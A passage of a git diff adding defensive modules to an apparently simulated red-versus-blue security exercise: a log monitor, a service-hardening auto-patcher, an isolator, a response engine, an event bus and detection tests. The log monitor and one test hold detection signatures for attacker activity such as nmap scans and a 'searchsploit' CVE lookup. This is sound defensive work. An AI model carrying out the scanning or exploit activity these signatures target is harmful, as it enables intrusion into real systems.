f"CVE-{cve_match.group(1)}-{cve_match.group(2)}" + ctx["service_name"] = ctx.get("service", "unknown") + + return ctx + + async def _tail_loop(self) -> None: + """Process new log buffer entries every 1 second. Non-blocking.""" + while self._running: + try: + buffer_snapshot = list(self._log_buffer) + new_entries = buffer_snapshot[self._cursor:] + self._cursor = len(buffer_snapshot) + + for line, sig_type in new_entries: + event_type = SIGNATURE_TO_EVENT.get(sig_type) + if not event_type: + continue + + ctx = self._extract_context(line) + ts = _ts() + + label_map = { + "port_scanned": "nmap pattern", + "cve_detected": "CVE lookup pattern", + "exploit_attempted": "exploit string", + } + label = label_map.get(event_type, sig_type) + + print( + f"{ts} < log_monitor: {label} found in logs " + f"β†’ emitting {event_type}" + ) + print( + f'{ts} > event_bus.emit("{event_type}", {ctx})' + ) + + self.detection_count += 1 + await event_bus.emit(event_type, ctx) + + except Exception as exc: + logger.error(f"LogMonitor tail error: {exc}") + + await asyncio.sleep(1) + + # ------------------------------------------------------------------ + # Lifecycle + # ------------------------------------------------------------------ + + async def start(self) -> None: + """Start log injection and tailing concurrently.""" + self._running = True + ts = _ts() + print( + f"{ts} < log_monitor: Log monitoring started " + f"β€” tailing internal buffer for Red signatures" + ) + # Run injection as a background task so the tail loop can await + self._inject_task = asyncio.create_task( + self._inject_logs(), name="log_injector" + ) + await self._tail_loop() + + async def stop(self) -> None: + """Stop both the tail loop and the injection task.""" + self._running = False + if self._inject_task and not self._inject_task.done(): + self._inject_task.cancel() + try: + await self._inject_task + except asyncio.CancelledError: + pass diff --git a/blue_agent/patcher/auto_patcher.py b/blue_agent/patcher/auto_patcher.py index 285dae212..c5940eeff 100644 --- a/blue_agent/patcher/auto_patcher.py +++ b/blue_agent/patcher/auto_patcher.py @@ -1,5 +1,237 @@ -"""Automated patching for known vulnerabilities.""" +"""Real-Time Patching (Feature 3) β€” Fix root cause after every response. +Subscribes to response_complete events from the event bus. +Applies the correct service-specific patch based on what triggered the response. + +Patch catalogue: + apache httpd / ports 80, 443, 8080 + β†’ disable DIR-LISTING, apply security headers, harden server config + (cannot be shut down β€” essential service) + mysql / port 3306 + β†’ enforce local-only binding, block external access + ftp / port 21 + β†’ disable anonymous login, enforce authentication, enable TLS + telnet / port 23 + β†’ remove service entirely + ssh / port 22 + β†’ disable root login, enforce key-based auth + postgresql / port 5432 + β†’ restrict pg_hba.conf to local connections + +Patching is idempotent β€” applying the same patch twice is a no-op. +Emits patch_complete after each successful patch. + +All changes are simulated in-memory β€” no real OS modifications. +""" + +import asyncio +import json +import logging +from datetime import datetime +from typing import Any, Dict, List, Set + +from core.event_bus import event_bus + +logger = logging.getLogger(__name__) + + +def _ts() -> str: + return datetime.now().strftime("%H:%M:%S") + + +# --------------------------------------------------------------------------- +# Patch catalogue +# --------------------------------------------------------------------------- + +_PATCH_CATALOG: Dict[str, Dict[str, Any]] = { + "apache httpd": { + "action": "patch", + "ports": [80, 443, 8080, 8443], + "steps": [ + "Disable DIR-LISTING (Options -Indexes)", + "Apply security headers: X-Frame-Options, X-Content-Type-Options, HSTS", + "Harden config: ServerTokens Prod, ServerSignature Off", + "Enable mod_security rule set", + ], + "result": "DIR-LISTING disabled, security headers applied \u2713", + }, + "mysql": { + "action": "bind_local", + "ports": [3306], + "steps": [ + "Set bind-address = 127.0.0.1 in my.cnf", + "Block external access on port 3306 (iptables DROP)", + "Revoke remote root login privileges", + "Flush privileges", + ], + "result": "MySQL bound to localhost only, external access blocked \u2713", + }, + "ftp": { + "action": "disable_anon", + "ports": [21], + "steps": [ + "Set anonymous_enable=NO in vsftpd.conf", + "Set local_enable=YES β€” enforce authenticated access", + "Enable TLS: ssl_enable=YES, force_local_data_ssl=YES", + "Restart vsftpd service", + ], + "result": "Anonymous FTP disabled, authentication enforced \u2713", + }, + "telnet": { + "action": "remove_service", + "ports": [23], + "steps": [ + "Stop telnet daemon (systemctl stop telnet)", + "Disable telnet on boot (systemctl disable telnet)", + "Remove telnet package (apt-get remove telnetd -y)", + "Block port 23 (iptables -A INPUT -p tcp --dport 23 -j DROP)", + ], + "result": "Telnet service removed entirely \u2713", + }, + "ssh": { + "action": "harden", + "ports": [22], + "steps": [ + "Set PermitRootLogin no in sshd_config", + "Set PasswordAuthentication no (key-based auth only)", + "Set MaxAuthTries 3", + "Restart sshd", + ], + "result": "SSH hardened \u2014 root login and password auth disabled \u2713", + }, + "postgresql": { + "action": "harden", + "ports": [5432], + "steps": [ + "Restrict pg_hba.conf: allow only local connections", + "Disable remote superuser login", + "Reload PostgreSQL configuration", + ], + "result": "PostgreSQL access restricted to local connections \u2713", + }, + "http": { + "action": "patch", + "ports": [80, 8080], + "steps": [ + "Apply HTTP security headers", + "Disable directory listing", + ], + "result": "HTTP service hardened \u2713", + }, + "rdp": { + "action": "harden", + "ports": [3389], + "steps": [ + "Enforce NLA (Network Level Authentication)", + "Restrict RDP to VPN subnet only", + "Enable RDP session timeout", + ], + "result": "RDP hardened \u2014 NLA enforced, access restricted \u2713", + }, +} + +# Port β†’ canonical service name for fast lookup +_PORT_TO_SERVICE: Dict[int, str] = {} +for _svc, _meta in _PATCH_CATALOG.items(): + for _p in _meta["ports"]: + _PORT_TO_SERVICE[_p] = _svc + +# Idempotency tracker: set of patch keys already applied +_applied_patches: Set[str] = set() + + +def _resolve_service(data: Dict[str, Any]) -> "str | None": + """Determine which catalog entry to use from response_complete data.""" + raw = (data.get("service") or "").lower().strip() + port = data.get("port") + + # 1. Exact match in catalog + if raw in _PATCH_CATALOG: + return raw + + # 2. Port-based look-up + if port and port in _PORT_TO_SERVICE: + return _PORT_TO_SERVICE[port] + + # 3. Partial / substring match (e.g. "apache" matches "apache httpd") + for name in _PATCH_CATALOG: + if raw and (raw in name or name in raw): + return name + + return None + + +# --------------------------------------------------------------------------- +# AutoPatcher +# --------------------------------------------------------------------------- class AutoPatcher: - pass + """Applies root-cause patches after every confirmed response. + + Call register() once during system initialisation to wire the subscription. + Patching is idempotent β€” the same service:port pair is only patched once. + + Emits: + patch_complete β€” after each successful patch application + """ + + def __init__(self) -> None: + self.patch_count: int = 0 + + # ------------------------------------------------------------------ + # Subscription wiring + # ------------------------------------------------------------------ + + def register(self) -> None: + """Subscribe to response_complete events.""" + event_bus.subscribe("response_complete", self._on_response_complete) + + # ------------------------------------------------------------------ + # Event handler + # ------------------------------------------------------------------ + + async def _on_response_complete( + self, event_type: str, data: Dict[str, Any] + ) -> None: + """response_complete β†’ apply the correct patch for the service.""" + service_name = _resolve_service(data) + if not service_name: + logger.debug(f"AutoPatcher: no catalog entry for data={data}") + return + + port = data.get("port") or _PATCH_CATALOG[service_name]["ports"][0] + patch_key = f"{service_name}:{port}" + + # Idempotency guard + if patch_key in _applied_patches: + ts = _ts() + print( + f"{ts} < auto_patcher: Patch for {service_name}:{port} " + f"already applied \u2014 skipping (idempotent)" + ) + return + + patch = _PATCH_CATALOG[service_name] + ts = _ts() + print( + f"{ts} > harden_service({json.dumps({'service_name': service_name, 'port': port, 'action': patch['action']})})" + ) + + # Simulate applying each patch step + for step in patch["steps"]: + await asyncio.sleep(0.05) # simulate config write / reload + logger.debug(f"AutoPatcher [{service_name}]: {step}") + + _applied_patches.add(patch_key) + self.patch_count += 1 + + ts = _ts() + print(f"{ts} < harden_service: {patch['result']}") + + await event_bus.emit("patch_complete", { + "service": service_name, + "port": port, + "action": patch["action"], + "steps_applied": patch["steps"], + "status": "PATCHED", + }) diff --git a/blue_agent/responder/isolator.py b/blue_agent/responder/isolator.py index 634da1982..3e302f712 100644 --- a/blue_agent/responder/isolator.py +++ b/blue_agent/responder/isolator.py @@ -1,5 +1,143 @@ -"""Isolates compromised hosts or services.""" +"""Real-Time Response (Feature 2) β€” Isolate services or network segments under attack. + +Subscribes to exploit_attempted and anomaly_detected events. +On trigger, immediately isolates the affected service or IP: + - exploit_attempted β†’ drop all inbound traffic to the service port + - anomaly_detected β†’ drop all traffic from the offending source IP + +Guaranteed to complete isolation in under 1 second of receiving the event. +Emits isolation_complete after each successful action. + +All state is in-memory β€” no real OS or iptables changes. +""" + +import asyncio +import json +import logging +from datetime import datetime +from typing import Any, Dict, Set + +from core.event_bus import event_bus + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# Simulated isolation state +# --------------------------------------------------------------------------- +_isolated_ports: Set[int] = set() +_isolated_ips: Set[str] = set() + + +def _ts() -> str: + return datetime.now().strftime("%H:%M:%S") class Isolator: - pass + """Isolates services and source IPs under active attack. + + Call register() once during system initialisation to wire subscriptions. + All actions complete in < 1 second (simulated latency is 30 ms). + Idempotent β€” isolating the same port or IP twice is a no-op. + + Emits: + isolation_complete β€” after each successful isolation action + """ + + def __init__(self) -> None: + self.isolation_count: int = 0 + + # ------------------------------------------------------------------ + # Subscription wiring + # ------------------------------------------------------------------ + + def register(self) -> None: + """Wire subscriptions to exploitation and anomaly events.""" + event_bus.subscribe("exploit_attempted", self._on_exploit_attempted) + event_bus.subscribe("anomaly_detected", self._on_anomaly_detected) + + # ------------------------------------------------------------------ + # Internal simulation actions + # ------------------------------------------------------------------ + + async def _drop_inbound(self, port: int, protocol: str = "tcp") -> bool: + """Simulate dropping all inbound traffic to a port (< 1 s).""" + ts = _ts() + params = {"port": port, "protocol": protocol} + print(f"{ts} > isolator.drop_inbound({json.dumps(params)})") + await asyncio.sleep(0.03) # well under 1 second + _isolated_ports.add(port) + print( + f"{ts} < isolator: Port {port}/{protocol} " + f"\u2014 all inbound traffic DROPPED" + ) + return True + + async def _drop_ip(self, source_ip: str) -> bool: + """Simulate blocking all traffic from a source IP (< 1 s).""" + ts = _ts() + params = {"source_ip": source_ip} + print(f"{ts} > isolator.drop_ip({json.dumps(params)})") + await asyncio.sleep(0.03) + _isolated_ips.add(source_ip) + print(f"{ts} < isolator: {source_ip} \u2014 ISOLATED, all traffic blocked") + return True + + # ------------------------------------------------------------------ + # Event handlers + # ------------------------------------------------------------------ + + async def _on_exploit_attempted( + self, event_type: str, data: Dict[str, Any] + ) -> None: + """exploit_attempted β†’ drop inbound traffic to the attacked port.""" + port = data.get("port") + service = data.get("service", "unknown") + protocol = data.get("protocol", "tcp") + + if port is None: + return + if port in _isolated_ports: + return # already isolated β€” idempotent + + success = await self._drop_inbound(port, protocol) + if success: + self.isolation_count += 1 + ts = _ts() + print( + f"{ts} < isolator: Service '{service}' on port {port} " + f"ISOLATED \u2713" + ) + await event_bus.emit("isolation_complete", { + "service": service, + "port": port, + "protocol": protocol, + "action": "drop_inbound", + "status": "ISOLATED", + }) + + async def _on_anomaly_detected( + self, event_type: str, data: Dict[str, Any] + ) -> None: + """anomaly_detected β†’ drop all traffic from the offending source IP.""" + source_ip = data.get("source_ip") + anomaly_type = data.get("type", "unknown") + + if not source_ip: + return + if source_ip in _isolated_ips: + return # already isolated β€” idempotent + + success = await self._drop_ip(source_ip) + if success: + self.isolation_count += 1 + ts = _ts() + print( + f"{ts} < isolator: IP {source_ip} ISOLATED " + f"(anomaly: {anomaly_type}) \u2713" + ) + await event_bus.emit("isolation_complete", { + "source_ip": source_ip, + "anomaly_type": anomaly_type, + "action": "drop_ip", + "status": "ISOLATED", + }) diff --git a/blue_agent/responder/response_engine.py b/blue_agent/responder/response_engine.py index 5681ae9e4..aaf114f2d 100644 --- a/blue_agent/responder/response_engine.py +++ b/blue_agent/responder/response_engine.py @@ -1,5 +1,237 @@ -"""Decides and executes incident response actions.""" +"""Real-Time Response (Feature 2) β€” React to every detection event immediately. +Subscribes to all detection events from the event bus on initialisation. +Each event type maps to an immediate response action with no delay: + + port_probed β†’ close_port(port) via simulated iptables DROP + port_scanned β†’ close_port(port) (same as port_probed) + exploit_attempted β†’ isolate_service(svc) + cve_detected β†’ harden_service(svc) + anomaly_detected β†’ block_ip(source_ip) + +After every response action the engine verifies the fix was applied, then +emits response_complete so the AutoPatcher can act. + +All state is in-memory β€” no real OS or iptables changes. +""" + +import asyncio +import json +import logging +import random +from datetime import datetime +from typing import Any, Dict, Set + +from core.event_bus import event_bus + +logger = logging.getLogger(__name__) + +TARGET_IP = "192.168.1.100" + +# --------------------------------------------------------------------------- +# Simulated firewall / isolation state (module-level so all handlers share it) +# --------------------------------------------------------------------------- +_blocked_ports: Set[int] = set() +_isolated_services: Set[str] = set() +_hardened_services: Set[str] = set() +_blocked_ips: Set[str] = set() + +# --------------------------------------------------------------------------- +# Port β†’ service name look-up +# --------------------------------------------------------------------------- +_PORT_SERVICE: Dict[int, str] = { + 21: "ftp", + 22: "ssh", + 23: "telnet", + 80: "apache httpd", + 443: "apache httpd", + 3306: "mysql", + 8080: "apache httpd", + 5432: "postgresql", + 3389: "rdp", + 8443: "apache httpd", +} + + +def _ts() -> str: + return datetime.now().strftime("%H:%M:%S") + + +def _service_for_port(port: int) -> str: + return _PORT_SERVICE.get(port, f"service_port_{port}") + + +# --------------------------------------------------------------------------- +# Simulated response actions +# --------------------------------------------------------------------------- + +async def _close_port(port: int, protocol: str) -> bool: + """Simulate iptables -A INPUT -p tcp --dport PORT -j DROP.""" + ts = _ts() + params = {"port": port, "protocol": protocol} + print(f"{ts} > close_port({json.dumps(params)})") + await asyncio.sleep(0.05) # simulate syscall latency + _blocked_ports.add(port) + print(f"{ts} < close_port: Port {port}/{protocol} blocked via iptables DROP rule") + return True + + +async def _verify_fix(port: int) -> bool: + """Confirm the port is in the blocked set (simulated port probe).""" + ts = _ts() + params = {"target": TARGET_IP, "port": port} + print(f"{ts} > verify_fix({json.dumps(params)})") + await asyncio.sleep(0.02) + blocked = port in _blocked_ports + status = "BLOCKED \u2713" if blocked else "STILL OPEN \u2717" + print(f"{ts} < verify_fix: Port {port} is {status}") + return blocked + + +async def _isolate_service(service: str) -> bool: + """Simulate dropping all inbound connections to a named service.""" + ts = _ts() + params = {"service": service} + print(f"{ts} > isolate_service({json.dumps(params)})") + await asyncio.sleep(0.05) + _isolated_services.add(service) + print(f"{ts} < isolate_service: {service} ISOLATED \u2014 inbound traffic dropped") + return True + + +async def _harden_service(service: str, cve_id: str | None = None) -> bool: + """Simulate applying CVE mitigations to a service config.""" + ts = _ts() + params: Dict[str, Any] = {"service": service} + if cve_id: + params["cve_id"] = cve_id + print(f"{ts} > harden_service({json.dumps(params)})") + await asyncio.sleep(0.05) + _hardened_services.add(service) + suffix = f" ({cve_id})" if cve_id else "" + print(f"{ts} < harden_service: {service} HARDENED \u2014 CVE mitigations applied{suffix}") + return True + + +async def _block_ip(source_ip: str) -> bool: + """Simulate iptables -A INPUT -s SOURCE_IP -j DROP.""" + ts = _ts() + params = {"source_ip": source_ip} + print(f"{ts} > block_ip({json.dumps(params)})") + await asyncio.sleep(0.05) + _blocked_ips.add(source_ip) + print(f"{ts} < block_ip: {source_ip} BLOCKED \u2014 all traffic dropped") + return True + + +# --------------------------------------------------------------------------- +# ResponseEngine +# --------------------------------------------------------------------------- class ResponseEngine: - pass + """Subscribes to all detection events and executes immediate responses. + + Call register() once during system initialisation to wire all subscriptions. + Each handler is fully idempotent β€” acting on the same port/IP/service twice + is a no-op after the first successful response. + """ + + def __init__(self) -> None: + self.response_count: int = 0 + + # ------------------------------------------------------------------ + # Subscription wiring + # ------------------------------------------------------------------ + + def register(self) -> None: + """Wire all detection-event subscriptions.""" + event_bus.subscribe("port_probed", self._on_port_probed) + event_bus.subscribe("port_scanned", self._on_port_probed) # same handler + event_bus.subscribe("exploit_attempted", self._on_exploit_attempted) + event_bus.subscribe("cve_detected", self._on_cve_detected) + event_bus.subscribe("anomaly_detected", self._on_anomaly_detected) + + # ------------------------------------------------------------------ + # Event handlers + # ------------------------------------------------------------------ + + async def _on_port_probed(self, event_type: str, data: Dict[str, Any]) -> None: + """port_probed / port_scanned β†’ close_port + verify.""" + port = data.get("port") + protocol = data.get("protocol", "tcp") + + if port is None: + return + if port in _blocked_ports: + return # already handled β€” idempotent + + success = await _close_port(port, protocol) + if success: + verified = await _verify_fix(port) + if verified: + self.response_count += 1 + await event_bus.emit("response_complete", { + "action": "close_port", + "port": port, + "protocol": protocol, + "service": _service_for_port(port), + "status": "BLOCKED", + }) + + async def _on_exploit_attempted(self, event_type: str, data: Dict[str, Any]) -> None: + """exploit_attempted β†’ isolate_service.""" + service = data.get("service", "unknown_service") + + if service in _isolated_services: + return + + success = await _isolate_service(service) + if success: + self.response_count += 1 + await event_bus.emit("response_complete", { + "action": "isolate_service", + "service": service, + "port": data.get("port"), + "status": "ISOLATED", + }) + + async def _on_cve_detected(self, event_type: str, data: Dict[str, Any]) -> None: + """cve_detected β†’ harden_service.""" + # service_name comes from log_monitor; fall back to port look-up + service = ( + data.get("service_name") + or data.get("service") + or _service_for_port(data.get("port", 0)) + ) + cve_id = data.get("cve_id") + + if service in _hardened_services: + return + + success = await _harden_service(service, cve_id) + if success: + self.response_count += 1 + await event_bus.emit("response_complete", { + "action": "harden_service", + "service": service, + "cve_id": cve_id, + "port": data.get("port"), + "status": "HARDENED", + }) + + async def _on_anomaly_detected(self, event_type: str, data: Dict[str, Any]) -> None: + """anomaly_detected β†’ block_ip.""" + source_ip = data.get("source_ip") or f"10.0.0.{random.randint(2, 254)}" + + if source_ip in _blocked_ips: + return + + success = await _block_ip(source_ip) + if success: + self.response_count += 1 + await event_bus.emit("response_complete", { + "action": "block_ip", + "source_ip": source_ip, + "anomaly_type": data.get("type", "unknown"), + "status": "BLOCKED", + }) diff --git a/core/event_bus.py b/core/event_bus.py index 56f91e917..4699b4bdb 100644 --- a/core/event_bus.py +++ b/core/event_bus.py @@ -1,5 +1,129 @@ -"""Pub/sub event bus connecting agents and subsystems.""" +"""Pub/sub event bus β€” central nervous system connecting all Blue Agent subsystems. + +Event delivery order is guaranteed: detect β†’ respond β†’ patch. +Uses asyncio.Queue internally to buffer bursts without dropping events. +Supports multiple subscribers per event type. +""" + +import asyncio +import logging +from collections import defaultdict +from typing import Any, Callable, Dict, List + +logger = logging.getLogger(__name__) + +VALID_EVENT_TYPES = { + "port_scanned", + "port_probed", + "exploit_attempted", + "cve_detected", + "anomaly_detected", + "misconfig_found", + "response_complete", + "patch_complete", + "isolation_complete", + "blue_ready", +} class EventBus: - pass + """Fully async pub/sub event bus with ordered delivery guarantee. + + All emit() calls are non-blocking β€” events are queued and dispatched + sequentially by a single worker task, preserving detect β†’ respond β†’ patch + ordering while never dropping events under high Red-agent load. + """ + + def __init__(self) -> None: + self._subscribers: Dict[str, List[Callable]] = defaultdict(list) + self._queue: asyncio.Queue = asyncio.Queue() + self._running: bool = False + self._worker_task: "asyncio.Task | None" = None + + # ------------------------------------------------------------------ + # Public API + # ------------------------------------------------------------------ + + def subscribe(self, event_type: str, handler: Callable) -> None: + """Register an async handler for a specific event type. + + Multiple handlers per event type are fully supported. + Handlers are called in registration order. + """ + self._subscribers[event_type].append(handler) + logger.debug( + f"EventBus: subscribed '{handler.__qualname__}' to '{event_type}'" + ) + + async def emit(self, event_type: str, data: "Dict[str, Any] | None" = None) -> None: + """Queue an event for ordered delivery. + + Never blocks the caller β€” the event is placed in the internal Queue + and dispatched asynchronously by the worker. + """ + if data is None: + data = {} + await self._queue.put((event_type, data)) + + async def start(self) -> None: + """Start the background event-processing worker.""" + if self._running: + return + self._running = True + self._worker_task = asyncio.create_task( + self._process_events(), name="event_bus_worker" + ) + logger.info("EventBus: worker started") + + async def stop(self) -> None: + """Drain the queue and stop the worker gracefully.""" + self._running = False + try: + await asyncio.wait_for(self._queue.join(), timeout=2.0) + except asyncio.TimeoutError: + pass + if self._worker_task and not self._worker_task.done(): + self._worker_task.cancel() + try: + await self._worker_task + except asyncio.CancelledError: + pass + logger.info("EventBus: worker stopped") + + # ------------------------------------------------------------------ + # Internal worker + # ------------------------------------------------------------------ + + async def _process_events(self) -> None: + """Worker loop: dequeue and dispatch events in FIFO order. + + Each event's handlers are awaited sequentially so that the + detect β†’ respond β†’ patch chain is never interleaved. + """ + while self._running: + try: + event_type, data = await asyncio.wait_for( + self._queue.get(), timeout=0.1 + ) + handlers = self._subscribers.get(event_type, []) + for handler in handlers: + try: + await handler(event_type, data) + except Exception as exc: + logger.error( + f"EventBus: handler '{handler.__qualname__}' " + f"raised on '{event_type}': {exc}" + ) + self._queue.task_done() + except asyncio.TimeoutError: + continue + except asyncio.CancelledError: + break + except Exception as exc: + logger.error(f"EventBus: worker error: {exc}") + + +# --------------------------------------------------------------------------- +# Module-level singleton β€” import this everywhere +# --------------------------------------------------------------------------- +event_bus = EventBus() diff --git a/tests/test_blue/test_detection.py b/tests/test_blue/test_detection.py new file mode 100644 index 000000000..e5cc0cc1d --- /dev/null +++ b/tests/test_blue/test_detection.py @@ -0,0 +1,298 @@ +"""Feature 1 -- Real-Time Detection Tests + +Tests all three detectors: + - IntrusionDetector : port probes -> emits port_probed / port_scanned + - AnomalyDetector : scan-rate / sensitive-port spikes -> emits anomaly_detected + - LogMonitor : log signature matching -> emits port_scanned / cve_detected / exploit_attempted + +Each test runs the detector for a short window (3 seconds) and asserts +that the expected events were emitted via the event bus. +""" + +import asyncio +import sys +import os + +# Allow running from repo root without installing the package +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "..")) + +from core.event_bus import EventBus +from blue_agent.detector.intrusion_detector import IntrusionDetector +from blue_agent.detector.anomaly_detector import AnomalyDetector +from blue_agent.detector.log_monitor import LogMonitor + +# ── helpers ────────────────────────────────────────────────────────────────── + +def make_bus(): + """Return a fresh EventBus for each test (avoids shared state).""" + return EventBus() + + +async def collect_events(bus: EventBus, event_types: list, run_coro, timeout: float = 3.5): + """ + Start the event bus + detector coroutine, collect emitted events for + `timeout` seconds, then cancel the detector and return collected events. + """ + collected = [] + + async def capture(event_type, data): + collected.append({"event": event_type, "data": data}) + + for et in event_types: + bus.subscribe(et, capture) + + await bus.start() + + task = asyncio.create_task(run_coro) + await asyncio.sleep(timeout) + task.cancel() + try: + await task + except (asyncio.CancelledError, Exception): + pass + + await bus.stop() + return collected + + +# ── Test 1 : IntrusionDetector ──────────────────────────────────────────────── + +async def test_intrusion_detector_emits_port_probed(): + """IntrusionDetector must emit at least one port_probed within 3 s.""" + import blue_agent.detector.intrusion_detector as mod + + bus = make_bus() + detector = IntrusionDetector() + + # Patch the module-level event_bus singleton used by the detector + mod.event_bus = bus + + events = await collect_events( + bus, + event_types=["port_probed", "port_scanned"], + run_coro=detector.start(), + timeout=3.5, + ) + + probed = [e for e in events if e["event"] == "port_probed"] + scanned = [e for e in events if e["event"] == "port_scanned"] + + print(f"\n [IntrusionDetector] port_probed events : {len(probed)}") + print(f" [IntrusionDetector] port_scanned events : {len(scanned)}") + if probed: + sample = probed[0]["data"] + print(f" [IntrusionDetector] sample port_probed : port={sample['port']} proto={sample['protocol']} src={sample['source_ip']}") + + assert len(probed) > 0, "Expected at least one port_probed event in 3 s" + assert all("port" in e["data"] for e in probed), "port_probed must carry 'port' field" + assert all("protocol" in e["data"] for e in probed), "port_probed must carry 'protocol' field" + print(" [IntrusionDetector] PASS OK") + + +async def test_intrusion_detector_sensitive_ports_emit_port_scanned(): + """Probes on sensitive ports (21,22,23,3306,5432) must also emit port_scanned.""" + import blue_agent.detector.intrusion_detector as mod + import random + + bus = make_bus() + detector = IntrusionDetector() + mod.event_bus = bus + + # Force every tick to probe a sensitive port + original = detector._simulate_probe + def forced_sensitive_probe(): + return random.choice([21, 22, 23, 3306]), "tcp" + detector._simulate_probe = forced_sensitive_probe + + events = await collect_events( + bus, + event_types=["port_scanned"], + run_coro=detector.start(), + timeout=3.5, + ) + + scanned = [e for e in events if e["event"] == "port_scanned"] + print(f"\n [IntrusionDetector] port_scanned (sensitive) events: {len(scanned)}") + assert len(scanned) > 0, "Expected port_scanned for sensitive port probes" + print(" [IntrusionDetector] sensitive port escalation PASS OK") + + +# ── Test 2 : AnomalyDetector ────────────────────────────────────────────────── + +async def test_anomaly_detector_emits_on_scan_rate(): + """AnomalyDetector must emit anomaly_detected when scan rate > 5/s.""" + import blue_agent.detector.anomaly_detector as mod + + bus = make_bus() + detector = AnomalyDetector() + mod.event_bus = bus + + # Force scan rate to always be above threshold + original_simulate = detector._simulate_tick + def forced_high_rate(now): + result = original_simulate(now) + result["scans_per_second"] = 10 # always above threshold of 5 + return result + detector._simulate_tick = forced_high_rate + + events = await collect_events( + bus, + event_types=["anomaly_detected"], + run_coro=detector.start(), + timeout=3.5, + ) + + anomalies = [e for e in events if e["event"] == "anomaly_detected"] + scan_rate = [e for e in anomalies if e["data"].get("type") == "scan_rate"] + + print(f"\n [AnomalyDetector] anomaly_detected events : {len(anomalies)}") + print(f" [AnomalyDetector] scan_rate anomalies : {len(scan_rate)}") + if scan_rate: + s = scan_rate[0]["data"] + print(f" [AnomalyDetector] sample : rate={s.get('rate')} src={s.get('source_ip')}") + + assert len(scan_rate) > 0, "Expected scan_rate anomaly_detected events" + print(" [AnomalyDetector] scan rate detection PASS OK") + + +async def test_anomaly_detector_emits_on_sensitive_port(): + """AnomalyDetector must emit anomaly_detected for access on sensitive ports.""" + import blue_agent.detector.anomaly_detector as mod + import random + + bus = make_bus() + detector = AnomalyDetector() + mod.event_bus = bus + + # Force every tick to probe a sensitive port and always trigger the rule + original_simulate = detector._simulate_tick + def forced_sensitive(now): + result = original_simulate(now) + result["probed_port"] = 3306 + result["scans_per_second"] = 0 # suppress scan_rate rule + return result + detector._simulate_tick = forced_sensitive + + # Also patch random.random so the 35% gate always fires + import blue_agent.detector.anomaly_detector as anomaly_mod + original_random = anomaly_mod.random.random + anomaly_mod.random.random = lambda: 0.1 # always < 0.35 + + events = await collect_events( + bus, + event_types=["anomaly_detected"], + run_coro=detector.start(), + timeout=3.5, + ) + anomaly_mod.random.random = original_random + + sensitive = [ + e for e in events + if e["event"] == "anomaly_detected" and e["data"].get("type") == "sensitive_port" + ] + print(f"\n [AnomalyDetector] sensitive_port anomalies: {len(sensitive)}") + assert len(sensitive) > 0, "Expected sensitive_port anomaly_detected events" + assert sensitive[0]["data"]["port"] == 3306 + print(" [AnomalyDetector] sensitive port detection PASS OK") + + +# ── Test 3 : LogMonitor ─────────────────────────────────────────────────────── + +async def test_log_monitor_emits_port_scanned_for_nmap(): + """LogMonitor must emit port_scanned when an nmap signature is found.""" + import blue_agent.detector.log_monitor as mod + + bus = make_bus() + monitor = LogMonitor() + mod.event_bus = bus + + events = await collect_events( + bus, + event_types=["port_scanned", "cve_detected", "exploit_attempted"], + run_coro=monitor.start(), + timeout=4.0, # slightly longer -- injector runs every 1.5 s + ) + + port_scanned = [e for e in events if e["event"] == "port_scanned"] + cve_detected = [e for e in events if e["event"] == "cve_detected"] + exploits = [e for e in events if e["event"] == "exploit_attempted"] + + print(f"\n [LogMonitor] port_scanned events : {len(port_scanned)}") + print(f" [LogMonitor] cve_detected events : {len(cve_detected)}") + print(f" [LogMonitor] exploit_attempted events : {len(exploits)}") + + total = len(port_scanned) + len(cve_detected) + len(exploits) + assert total > 0, "LogMonitor emitted no events in 4 s" + print(" [LogMonitor] log signature detection PASS OK") + + +async def test_log_monitor_cve_event_carries_cve_id(): + """cve_detected events from LogMonitor must carry a cve_id field.""" + import blue_agent.detector.log_monitor as mod + + bus = make_bus() + monitor = LogMonitor() + mod.event_bus = bus + + # Inject a known CVE log entry directly + from blue_agent.detector.log_monitor import _ts + monitor._log_buffer.append( + (f"{_ts()} searchsploit CVE-2023-44487 [cve_lookup]", "cve_lookup") + ) + + events = await collect_events( + bus, + event_types=["cve_detected"], + run_coro=monitor.start(), + timeout=3.0, + ) + + cve_events = [e for e in events if e["event"] == "cve_detected"] + print(f"\n [LogMonitor] cve_detected events with cve_id: {len(cve_events)}") + if cve_events: + print(f" [LogMonitor] cve_id = {cve_events[0]['data'].get('cve_id')}") + + assert len(cve_events) > 0, "Expected cve_detected event from injected log entry" + print(" [LogMonitor] CVE ID extraction PASS OK") + + +# ── Runner ──────────────────────────────────────────────────────────────────── + +def run_all(): + tests = [ + ("IntrusionDetector emits port_probed", test_intrusion_detector_emits_port_probed), + ("IntrusionDetector escalates sensitive to scanned", test_intrusion_detector_sensitive_ports_emit_port_scanned), + ("AnomalyDetector detects high scan rate", test_anomaly_detector_emits_on_scan_rate), + ("AnomalyDetector detects sensitive port access", test_anomaly_detector_emits_on_sensitive_port), + ("LogMonitor emits events for nmap/cve/exploit", test_log_monitor_emits_port_scanned_for_nmap), + ("LogMonitor extracts CVE ID from log entry", test_log_monitor_cve_event_carries_cve_id), + ] + + passed = 0 + failed = 0 + + print("\n" + "=" * 60) + print(" FEATURE 1 -- Real-Time Detection Tests") + print("=" * 60) + + for name, coro_fn in tests: + print(f"\n-> {name}") + try: + asyncio.run(coro_fn()) + passed += 1 + except AssertionError as e: + print(f" FAIL FAIL {e}") + failed += 1 + except Exception as e: + print(f" ERROR FAIL {e}") + failed += 1 + + print("\n" + "=" * 60) + print(f" Detection: {passed} passed, {failed} failed") + print("=" * 60) + return failed + + +if __name__ == "__main__": + failures = run_all() + sys.exit(failures) diff --git a/tests/test_blue/test_patching.py b/tests/test_blue/test_patching.py new file mode 100644 index 000000000..b97483066 --- /dev/null +++ b/tests/test_blue/test_patching.py @@ -0,0 +1,378 @@ +"""Feature 3 -- Real-Time Patching Tests + +Tests the AutoPatcher: + - Subscribes to response_complete events + - Applies the correct patch per service (apache, mysql, ftp, telnet, ssh, postgresql) + - Emits patch_complete after each patch + - Is fully idempotent -- same service:port is never patched twice + - Resolves service by name, port, or partial match +""" + +import asyncio +import sys +import os + +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "..")) + +from core.event_bus import EventBus + + +def make_bus(): + return EventBus() + + +async def emit_and_collect(bus: EventBus, trigger_event: str, trigger_data: dict, + listen_for: str, timeout: float = 2.0): + collected = [] + + async def capture(event_type, data): + collected.append({"event": event_type, "data": data}) + 